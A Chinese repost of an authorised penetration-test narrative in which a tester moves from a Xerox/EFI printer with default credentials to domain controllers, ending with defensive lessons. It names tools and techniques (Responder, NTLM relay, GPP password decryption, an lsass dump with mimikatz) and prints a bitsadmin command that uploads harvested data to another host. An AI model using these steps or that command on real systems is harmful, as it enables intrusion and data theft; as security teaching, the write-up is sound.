渗透测试-从一个打印机到拿下主域控制器

栏目: 编程工具 · 发布时间: 5年前

内容简介:最近我参与了一个项目,在项目中,我要在不触发SOC(应该是安全运营中心的意思)的情况下,拿到目标内部的数据,我活动的范围只能是在一个会议室,然后目标的范围很广泛,我也不能接触其他计算机以及去别的房间。然而,他们要求我检查一下,别人绕过外部的安全策略进入到内部的时候会怎么样。我在会议室安装了CISCO国际呼叫VOIP系统,允许我使用LAN电缆。

最近我参与了一个项目,在项目中,我要在不触发SOC(应该是安全运营中心的意思)的情况下,拿到目标内部的数据,我活动的范围只能是在一个会议室,然后目标的范围很广泛,我也不能接触其他计算机以及去别的房间。

然而,他们要求我检查一下,别人绕过外部的安全策略进入到内部的时候会怎么样。

我在会议室安装了CISCO国际呼叫VOIP系统,允许我使用LAN电缆。

该项目给我5天的时间去测试和2天的时间写报告。

注意:修改所有的IP地址和系统名称,这样不会暴露客户端的名称。

Day 1

第一天是早上8:30开始。

主要目的是避开未被检测的数据,同时提取一些关键数据。

一旦我将系统连接到网络上,我很快就得到了一个IP,这可能意味着没有任何NAC(NAC,是一款由思科出品的网络设备)。

我做的第一件事是开始使用nslookup检查网络中的域名服务器。

大部分时间里,我发现DNS倾向于提供关于服务器和系统命名约定的大量信息。但是,我在整个的网络里没有丝毫头绪。在一个172.10.1.0的网络里。

我甚至尝试使用 PowerShell Active Directory 模块来查找 DC和DNS服务器 ,但没有找到任何可用的。

这让我很惊讶,因为肯定是有一个DNS服务器,除非有一个NAC,而我被扔在了沙盒网络中。

当时是中午12点,我仍然不知道网络中的情况。我甚至无法ping任何系统,因为ICMP被防火墙禁止了。很难受,我从 Impacket 工具包中启动了 ResponderNTLM 中继,并使用定制的payload,认为这可能会给我一些线索。然而并没有什么卵用。我的耐心在一天结束的时侯就耗尽了,我开始通过在笔记本电脑上启动 Network Discovery 来搜索 SMB共享

但是我空手并没有没套到白狼,2333.我回到家,继续做我自己的事,看看能做些什么。

Day 2

所以第二天我自己先计划好。

由于我无法识别网络上的任何内容,因此我决定采用在极端隐身模式下使用Nmap的旧路线。 即使花一两天,也无所谓。 我从 172.10.1.0-172.10.4.0 网络范围内的随机IP上开始对端口445进行扫描。 到下午12点30分,扫描完成,我在网络中只发现了3个系统(所有unix)震惊。。。

在某些选定的公共端口上执行慢速服务扫描时,我意识到端口8443和8666处于活动状态。 访问这些,我发现这些是 Xerox C60-C70 机器 - 打印机和复印机的混合版。 在访问端口时,我发现他们是网络服务器,提供了登录门户。 根据我在 OSCP 中学到的内容,我搜索了 EFI Fiery Server 的默认密码,发现默认凭据为 admin:fiery.1 。 我很快就试过了,还有BAM!

我看到了一个具有管理权限的Web门户。

渗透测试-从一个打印机到拿下主域控制器

我发现这些是基于 PHP 开发的,门户网站(3.0版)已经过时了。 这个门户网站容易受到 LFI 的攻击,但无法在此处执行任何文件。 我进一步搜集信息,发现我可以从门户本身启用FTP,电子邮件和SSH服务器。 我还通过我的个人FTP启用所有打印机扫描的备份,因为默认情况下没有配置。

到这里,我确信一件事,只要有人打印什么机密文件,我都可以搞到手。

渗透测试-从一个打印机到拿下主域控制器

我尝试过 PRET - - 一个打印机开发 工具 包,用于进一步利用,但没有找到任何东西。然后我ssh’d打印机,发现它有两个不同的网络接口。这意味着有两个不同的网络:一个隐藏在我网络中的,只能通过打印机访问。woc! 这让我想起了我的OSCP实验室!我快速进行端口转发和配置proxychains,找到DC和DNS服务器并启动 responder ,然后等待一些系统出现。我得到了大量的 NetNTLMv2 哈希,但意识到我无法使用 crackmapexec 执行任何操作,因为所有系统都启用了SMB签名。与此同时,我也开始使用 GTX1050ti显卡HashcatNet-NTLMv2 哈希破解到我的系统上,但没有找到,我的字典已经用完了。然后我开始再次搜索SMB共享,​​因为我现在知道DC,我找到了SYSVOL(LOGONSERVER)目录。

现在,我做的第一件事是导航到 SYSVOL 目录并开始搜索 groups.xml 文件。我找到了两个文件。一个不包含任何密码(仅在一个月后修改)和另一个旧的 groups.xml ,它最后在2011年创建和修改,保存在另一个文件夹中,其中保存了所有其他未使用的旧脚本。我使用 gp3finder.exe 解密旧 groups.xml 的密码,并尝试使用本地管理员的groups.xml密码登录到远程系统,但我失败了。这只是在一种尝试,因为这是一个旧的groups.xml文件,密码已经变了。

这时我回到我的 Linux 机器上,responder 和ntlmrelay正在运行,却发现我已经使用自己专门设计绕过赛门铁克的payload访问了其中一个系统。

现在我开始搜索我的用户可以做什么,以及我是否能够升级我的权限。 我发现了一个运行空格而没有双引号的Foxit服务。 我觉得这个可能是一个突破点,貌似我的用户也有在C盘中的写权限。 但这是误报,因为我的用户只有权在C盘中创建文件夹而不能复制或写入文件。 现在我尝试的下一件事是检查我的当前用户有哪些其他权限。 但难受的是,我的用户不在 RDP 组中。

现在是15:00。 难受的一批。

渗透测试-从一个打印机到拿下主域控制器

所以最终我放弃了并执行 Bloodhound 而没有任何进一步的麻烦,我开始寻找提权的方法。 这里是我找到的一个有趣的地方。

渗透测试-从一个打印机到拿下主域控制器

它是域管理员组中的MSSQL服务帐户,密码一年多没改。根据我的经验,我知道管理员通常不会更改服务帐户的凭据。他们通常有一个策略,没被破坏就不管。因此,我只是尝试使用旧的 groups.xml 密码登录系统(在上面的屏幕截图中的服务帐户用户描述中提到)。我从我的笔记本电脑登录到这个系统,运气比较好,我为此用户启用了交互式登录。我现在是 Domain Admin ,但在使用2012 Server的 MSSQL DB System 中,我可以在没有任何UAC的情况下启动 CMD 。我不想使用服务帐户登录 DC /AD ,因为此时我不想对 SOC 提出任何疑问。所以,我快速启动任务管理器,dump lsass.exe的内存并通过RDP将它下载到我的系统。然后使用mimikatz离线提取密码哈希,并找到一个有趣用户的凭证 - Level3-INFRA-PUM (出于安全原因,名称已更改)。这是一个金票据。我在该域上对该用户执行了LDAP查询,发现这是 Privilege User ManagementLevel 3 Infrastructure 的管理员帐户。在用户帐户的说明中提到了与此用户关联的计算机主机名。我使用域凭据登录到PUM的Web门户,发现门户上没有启用多因素身份验证。我在这里进行了一些额外的研究,发现这个组织有LAPS(LAPS是一种组策略客户端扩展)设置,为了登录远程系统,我不得不从PUM获取密码,然后才能登录本地管理系统。这就是为啥我无法使用GP3密码以本地管理员身份登录的原因,因为他们已经停止使用groups.xml进行密码管理。我从PUM访问了域管理员的密码并访问了域控制器,但发现这只是一个 Child DC 。两个不同国家/地区的另外两个域控制器与此系统相连。查询DC显示信任是双向的。我试图登录到父DC,但由于某种原因我无法登录。我意识到这只是第2天,我想先溜了,至少有搞下来了一个DC。

渗透测试-从一个打印机到拿下主域控制器

Day 3

我想今天将是一个不一样的一天。

渗透测试-从一个打印机到拿下主域控制器

在检查组策略后,我意识到这些人已禁用除 IT支持人员域管理员 组之外的所有用户的RDP。远程通信的唯一方法是 Team Viewe r,我显然不会很快接触到它。我在DC上使用了来自 SysinternalsSharenum 来检查所有可能连接的共享驱动器,并在目录中找到了大量的SMB共享。我发现了很多敏感信息,包括会计团队的银行凭证,我觉得是时候搜集泄露的数据了。我使用BITSadmin将所有副本下载到打印机:

bitsadmin.exe /transfer upjob /upload /priority normal http://192.168.x.x/data.zip D:\temp\data.zip

然后通过WinSCP将其下载到我的系统。

科普一下,Sysinternals被微软买了,所以自带签名,白名单工具包。

我还在想,如果我能理解目标的AD结构的内部工作方式会更好,因此我用 ADExplorer (Sysinternals的另一个工具)创建了一个计划任务 -并安排在凌晨1点,以便在离开这个地方之前以较低的速度创建整个 Active Directory 的快照。

Day 4

我查看AD快照,我看到在隐藏的共享驱动器中创建了一个400 MB的文件,我后来将它下载到我的系统中。 最后, 我可以访问所有组策略以及整个域中的所有对象,以后我可以离线查询以备需要一些数据。 我还决定更深入地检查LAPS密码,只是为帐户描述中具有不同域名的域用户之一找到它的密码。 该用户未在整个组织的任何地方用于登录。 我检查了 bloodhound 数据以便再次确认,但没有提到这个用户。 这就很有趣,因为所有其他DC管理员至少有一个或另一个登录。 然后我尝试使用此DC管理员的凭证登录到其他父域,最后我可以访问父DC。

ps:域之间也有父域和子域,也存在信任关系。

我不得不通知SPOC,看这是否在测试范围之内。 然后他们跟我说这些DC超出了范围所以我只能先停下。

但这是一个不可思议的旅程,从什么东西也没找到到拿到了DC的权限,还是 Parent Domain Controls

总结

得到教训:

永远不要忽视评估过程中发现的小信息。 你甚至无法理解这些信息的潜力。要经常给你的打印机打补丁并保证它们的安全。 它们是您域中的一部分,与网络中的其他设备一样重要。

切勿将服务帐户添加到域管理员组。

反病毒机制很好,但应用白名单更好。

切勿将旧密码配置文件存储在域中的任何位置。 攻击者只需搜索这些凭证信息然后升级其权限就更容易了。

ps : 作者很牛,打印机R到DC,可是没我帅。

渗透测试-从一个打印机到拿下主域控制器

原文链接: http://niiconsulting.com/checkmate/2019/01/intrusion-testing-from-evil-printers-to-parent-domain-controllers/


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

计算机程序设计艺术(第1卷)

计算机程序设计艺术(第1卷)

[美] 唐纳德·E. 克努特 / 苏运霖 / 国防工业出版社 / 2002-9 / 98.00元

7卷本《计算机程序设计艺术》的第1卷以基本的程序设计概念和技术开始,然后专注于信息结构——计算机内部信息的表示、数据元素之间的结构关系以及如何有效地处理它们,给出了对于模拟、数值方法、符号计算、软件和系统设计的初等应用。书中附有大量习题和答案,标明了难易程序及数学概念的使用。 此新版本增加了几十项简单且重要的算法和技术,并对有关数学预备知识作了大量修改以适应现时研究的趋势。一起来看看 《计算机程序设计艺术(第1卷)》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具